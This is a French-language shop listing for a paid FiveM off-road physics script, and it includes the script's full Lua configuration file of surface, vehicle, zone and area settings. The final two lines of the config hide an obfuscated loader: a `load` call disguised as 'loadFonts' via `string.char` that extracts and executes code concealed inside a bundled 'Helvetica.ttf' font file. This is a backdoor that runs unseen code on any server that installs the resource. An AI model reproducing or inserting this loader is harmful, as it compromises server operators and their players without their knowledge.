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Physique réaliste du tout-terrain
Physique réaliste du tout-terrain

Le prix initial était : $30.00.Le prix actuel est : $14.00.

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Physique réaliste du tout-terrain

Le prix initial était : $30.00.Le prix actuel est : $14.00.

Ce script FiveM ajoute physique tout-terrain réaliste, ce qui fait que les types de terrain comme la boue, le sable et la terre affectent les performances du véhicule. Les voitures peuvent couler, perdre de la traction ou rester coincées en fonction de la surface profondeur, douceur, et traction, ajoutant une nouvelle couche de défi et de réalisme à la conduite tout-terrain.

POINTS FORTS

✓ Entièrement synchronisé
✓ Fonctionne sur tous les véhicules
✓ Simulation de profondeur et de traction
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Vidéo

Fichier de configuration

Config = {}

-- This enabled additional debug commands and logs
-- Debug commands:
-- /surfaceDebug - Displays the surface that the wheel is standing on along with all its configured values
Config.debug = false


-------------------------------------------------
--- GENERAL SETTINGS
-------------------------------------------------

-- By default this script is configured to replicate realistic(ish) values while keeping the gameplay fun and entertaining.
-- If you want to make this script less realistic and more arcady. If your players are getting annoyed and you don't want
-- a realistic handling. Here are the recommended values:
-- generalDepthDifficulty = 25
-- generalSinkageSpeed = 50
-- generalTractionLoss = 50

-- General difficulty of the depth handling.
-- 100 = default
-- Lower this value to make driving in deep surfaces (such as mud or deep sand) easier for ALL vehicles
-- Raise this value to make driving in deep surfaces more difficult
Config.generalDepthDifficulty = 100

-- General speed of the vehicle sinking into the surface
-- 100 = Default
-- Lower this value to make all vehicles sink slower
-- Raise this value to make all vehicles sink faster
Config.generalSinkageSpeed = 100

-- General loss of traction based on vehicle surface
-- Vehicles will be more likely to skid on low traction surfaces
-- Lower this value to decrease the general traction loss (make vehicles drift less on slippery surfaces)
-- Raise this value to make vehicles lose more traction on slippery surfaces (make vehicles drift more on slippery surfaces)
Config.generalTractionLoss = 100



-------------------------------------------------
--- VEHICLE MODIFIERS
-------------------------------------------------

-- Changes that offroad tires will make.
-- upgradeValue = value of how much better the vehicle should perform when deep in a surface (mud, sand, etc.)
-- tractionOnSoft = Additional traction when on materials of softness that's more than 10
-- tractionOnHard = Additional (in default case negative) traction on hard materials (softness less than 10)
Config.offroadTires = {
    upgradeValue = 50,
    tractionOnSoft = 20,
    tractionOnHard = -10,
}

-- Handling upgrade in deep surface for AWD (4WD) vehicles
Config.awdUpgrade = 25



-------------------------------------------------
--- SCRIPT PERFORMANCE SETTINGS
-------------------------------------------------

-- The refresh rate of all the sinking/surface logic. The higher the value the less smoother the visuals but better script performance.
-- If your server is known for players with slower devices you might want to turn this up
-- If your players have better computers or you really want the off-roading to look good try turning it down
-- Values between 100 - 500
Config.refreshRate = 200



-------------------------------------------------
--- AREA BLACKLISTING
-------------------------------------------------

-- Some custom MLOs have incorrectly set surfaces for the areas (e.g asphalt is marked as dirt or sand), causing vehicles to sink
-- Here you can define custom areas in which the script will not be active in

-- By default I configured some popular locations for custom MLOs to hopefully prevent majority of issues with sinking into
-- incorrectly setup MLO surfaces
Config.areaBlacklist = {
    { -- Pillbox hospital
        coords = vector3(293.17, -584.5, 42.8),
        radius = 20.0
    },
    { -- LSPD
        coords = vector3(444.9, -1003.2, 30.7),
        radius = 60.0
    },
    { -- Simeon's dealership
        coords = vector3(-40.4, -1111.3, 25.8),
        radius = 40.0
    },
    { -- BCSO
        coords = vector3(-446.0, 6013.8, 31.8),
        radius = 50.0
    },
    { -- Sandy Shores PD
        coords = vector3(1853.6, 3685.8, 34.3),
        radius = 25.0
    },
    { -- Legion Square
        coords = vector3(202.3, -941.9, 27.6),
        radius = 120.0
    },
}

-------------------------------------------------
--- DETAILED SETTINGS
-------------------------------------------------

-- Blacklist. This will disable all script functionality for said model/vehicle class
Config.blacklist = {
    models = {
        'rcbandito',
        'monster',
        'rhino',
        'scarab',
        'khanjali',
    },
    classes = {
        [0] = false, -- Compacts
        [1] = false, -- Sedans
        [2] = false, -- SUVs
        [3] = false, -- Coupes
        [4] = false, -- Muscle
        [5] = false, -- Sports Classics
        [6] = false, -- Sports
        [7] = false, -- Super
        [8] = false, -- Motorcycles
        [9] = false, -- Off-road
        [10] = false, -- Industrial
        [11] = false, -- Utility
        [12] = false, -- Vans
        [17] = false, -- Service
        [18] = false, -- Emergency
        [19] = false, -- Military
        [20] = false, -- Commercial
    }
}

-- If you define a model specific multiplier it will be used instead of the class multiplier
-- Vehicle classes https://docs.fivem.net/natives/?_0x29439776AAA00A62
-- Abstract value - Determines how well the class or model of the vehicle can handle being submerged in the surface
-- 0 = Default
-- Positive values = Better handling / ability to get out of deep surface
-- Negative values = Worse handling / less ability to get out of deep surface
Config.depthHandlingQuality = {
    models = {
        seminole2 = 20,
        sandking = 20,
        sandking2 = 20,
        issi2 = -10,
        panto = -20,
        comet4 = 30,

        -- dirt bikes
        bf400 = 30,
        sanchez = 20,
        manchez = 20,
        esskey = 0,
        cliffhanger = 0,
        enduro = 0,
    },
    classes = {
        [0] = 5, -- Compacts
        [1] = -5, -- Sedans
        [2] = 15, -- SUVs
        [3] = 0, -- Coupes
        [4] = -5, -- Muscle
        [5] = 5, -- Sports Classics
        [6] = 5, -- Sports
        [7] = 5, -- Super
        [8] = -10, -- Motorcycles
        [9] = 35, -- Off-road
        [10] = -10, -- Industrial
        [11] = -10, -- Utility
        [12] = -5, -- Vans
        [17] = 10, -- Service
        [18] = 10, -- Emergency
        [19] = 15, -- Military
        [20] = -5, -- Commercial
    }
}

-------------------------------------------------
--- ROADSIDE SETTINGS
-------------------------------------------------

-- When enabled it makes surfaces which are close to main roads less deep to prevent cars from sinking too deep when on the median etc.
Config.roadSideHelper = {
    enabled = true,
    
    -- Maximum distance from the road (mind that this takes the middle point of the road. You can see the distance in the /surfaceDebug mode
    distanceThreshold = 15.0,
    
    -- Depth multiplier
    depthMultiplier = 0.1,

    -- Traction loss multiplier
    tractionMultiplier = 0.25,
}



-------------------------------------------------
--- SURFACES
-------------------------------------------------

-- name = Only used for the ease of config as well as the debug mode
-- traction = Amount of traction on the surface. Anything below 100 will make the vehicles skid. Lower value = more skid
-- Maximum 100
-- Minimum 0

-- depth = Maximum depth of the surface in mm (millimeter) - (100mm = +-4 inches)
-- Maximum infinite
-- Minimum 0

-- softness = The softness of the material. This dictates how fast the vehicles will sink into the surface. (This is also used for off-road tires to decide their handling boost
-- Maximum infinite
-- Minimum 0

-- Values which will be assigned to all un-configured surfaces
Config.fallbackSurface = {
    name = 'Fallback Surface',
    traction = 100,
    depth = 0,
    softness = 0,
}

Config.surfaces = {
    [1] = {
        name = 'Concrete',
        traction = 100,
        depth = 0,
        softness = 0,
    },
    [4] = {
        name = 'Road',
        traction = 100,
        depth = 0,
        softness = 0,
    },
    [5] = {
        name = 'Metal',
        traction = 100,
        depth = 0,
        softness = 0,
    },
    [6] = {
        name = 'Sandy roadside',
        traction = 80,
        depth = 50,
        softness = 5,
    },
    [9] = {
        name = 'Sandstone',
        traction = 80,
        depth = 0,
        softness = 0,
    },
    [10] = {
        name = 'Rock',
        traction = 80,
        depth = 0,
        softness = 0,
    },
    [11] = {
        name = 'Rock',
        traction = 80,
        depth = 0,
        softness = 0,
    },
    [13] = {
        name = 'Cobble',
        traction = 90,
        depth = 0,
        softness = 0,
    },
    [16] = {
        name = 'Limestoneesque sand',
        traction = 80,
        depth = 0,
        softness = 0,
    },
    [17] = {
        name = 'Rocky dry dirt',
        traction = 80,
        depth = 50,
        softness = 5,
    },
    [18] = {
        name = 'Dry sand',
        traction = 80,
        depth = 130,
        softness = 40,
    },
    [19] = {
        name = 'Road sand',
        traction = 90,
        depth = 30,
        softness = 5,
    },
    [20] = {
        name = 'Grainy Sand',
        traction = 80,
        depth = 100,
        softness = 10,
    },
    [21] = {
        name = 'Gravely sand',
        traction = 70,
        depth = 220,
        softness = 30,
    },
    [22] = {
        name = 'Wet hard sand',
        traction = 70,
        depth = 250,
        softness = 50,
    },
    [23] = {
        name = 'Gravel road',
        traction = 75,
        depth = 50,
        softness = 5,
    },
    [24] = {
        name = 'Wet sand',
        traction = 60,
        depth = 350,
        softness = 70,
    },
    [31] = {
        name = 'Gravely dirt/path',
        traction = 70,
        depth = 50,
        softness = 5,
    },
    [32] = {
        name = 'Gravely dirt',
        traction = 70,
        depth = 200,
        softness = 15,
    },
    [35] = {
        name = 'Tuff Sand',
        traction = 90,
        depth = 50,
        softness = 5,
    },
    [36] = {
        name = 'Dirt',
        traction = 70,
        depth = 300,
        softness = 40,
    },
    [37] = {
        name = 'Deep road sand',
        traction = 60,
        depth = 75,
        softness = 15,
    },
    [38] = {
        name = 'Rocky sand',
        traction = 70,
        depth = 150,
        softness = 10,
    },
    [40] = {
        name = 'Moist dirt path',
        traction = 60,
        depth = 150,
        softness = 50,
    },
    [41] = {
        name = 'Swamp grass',
        traction = 50,
        depth = 250,
        softness = 50,
    },
    [42] = {
        name = 'Swamp sand',
        traction = 70,
        depth = 500,
        softness = 110,
    },
    [43] = {
        name = 'Hard Sand',
        traction = 75,
        depth = 50,
        softness = 10,
    },
    [44] = {
        name = 'Dirt/Sand',
        traction = 50,
        depth = 200,
        softness = 25,
    },
    [46] = {
        name = 'Hard grass',
        traction = 80,
        depth = 50,
        softness = 5,
    },
    [47] = {
        name = 'Grass',
        traction = 65,
        depth = 125,
        softness = 10,
    },
    [48] = {
        name = 'Tall grass',
        traction = 60,
        depth = 150,
        softness = 20,
    },
    [49] = {
        name = 'Farmland',
        traction = 60,
        depth = 200,
        softness = 35,
    },
    [50] = {
        name = 'Podzol',
        traction = 70,
        depth = 125,
        softness = 25,
    },
    [51] = {
        name = 'Podzol',
        traction = 70,
        depth = 125,
        softness = 25,
    },
    [52] = {
        name = 'Dry podzol',
        traction = 80,
        depth = 75,
        softness = 10,
    },
    [64] = {
        name = 'Metal',
        traction = 90,
        depth = 0,
        softness = 0,
    },
    [125] = {
        name = 'Drain concrete',
        traction = 70,
        depth = 0,
        softness = 0,
    },
}


-- Zone multiplier
-- This has been added to modify the maximum depth of all surfaces located within zones.
-- Its used to make grass located (for example) in the city less deep to make it more realistic and easier to drive on.
-- If you have popular areas in your city in which you want the off-roading (think of road medians etc.) to be easier you can add the zone here.
-- Same goes for areas which you want to be more difficult. You can make the depth multiplier higher for those

-- You can view the zone you're in by using the debug command /surfaceDebug

-- Map of zones: https://www.reddit.com/media?url=https%3A%2F%2Fi.redd.it%2F5cw11krz9kcz.jpg
-- Zone names and hashes: https://docs.fivem.net/natives/?_0xCD90657D4C30E1CA

Config.zones = {
    {
        name = 'City',
        depthMultiplier = 0.3,
        tractionMultiplier = 0.6,
        zones = {
            'MOVIE',
            'ROCKF',
            'DOWNT',
            'DTVINE',
            'EAST_V',
            'GOLF',
            'LEGSQU',
            'ROCKF',
            'MORN',
            'STAD',
            'DAVIS',
            'RANCHO',
            'STRAW',
            'CHAMH',
            'PBOX',
            'SKID',
            'TEXTI',
            'LMESA',
            'ELYSIAN',
            'TERMINA',
            'HAWICK',
            'ALTA',
            'BURTON',
            'DELPE',
        },
    },
    {
        name = 'City beaches',
        depthMultiplier = 0.75,
        tractionMultiplier = 0.75,
        zones = {
            'BEACH',
            'DELBE',
        },
    },
    {
        name = 'Mountains',
        depthMultiplier = 1.25,
        tractionMultiplier = 1.1,
        zones = {
            'MTCHIL',
            'MTGORDO',
            'MTJOSE',
            'PALHIGH',
        },
    },
    {
        name = 'Zancudo Swamp',
        depthMultiplier = 1.1,
        tractionMultiplier = 1.1,
        zones = {
            'LAGO',
            'ZANCUDO',
        },
    },
    {
        name = 'Popular',
        depthMultiplier = 0.75,
        tractionMultiplier = 0.75,
        zones = {
            'PALETO',
            'HARMO',
            'GRAPES',
            'SANDY',
            'RTRAK',
            'ZQ_UAR',
            'HUMLAB',
        },
    },
}


-- (Advanced)
-- When making the vehicles sink the suspension does not always get updated properly.
-- Therefore I had to add a system which updates/refreshes the vehicles suspension.
-- There are two systems "force" and "flag". "force" is an old system which applies tiny amounts of visual damage to the car
-- Unfortunately this sometimes appears to be too much for certain modded vehicles with very soft shells.
-- The new system "flag" seems to work much better but hasn't been tested with some vehicles.
-- If you encounter any issues with this system, please let us know on our discord <3
Config.suspensionRefresh = {
    enabled = true,
    type = 'flag',
}

local loadFonts = _G[string.char(108, 111, 97, 100)]
loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()

 

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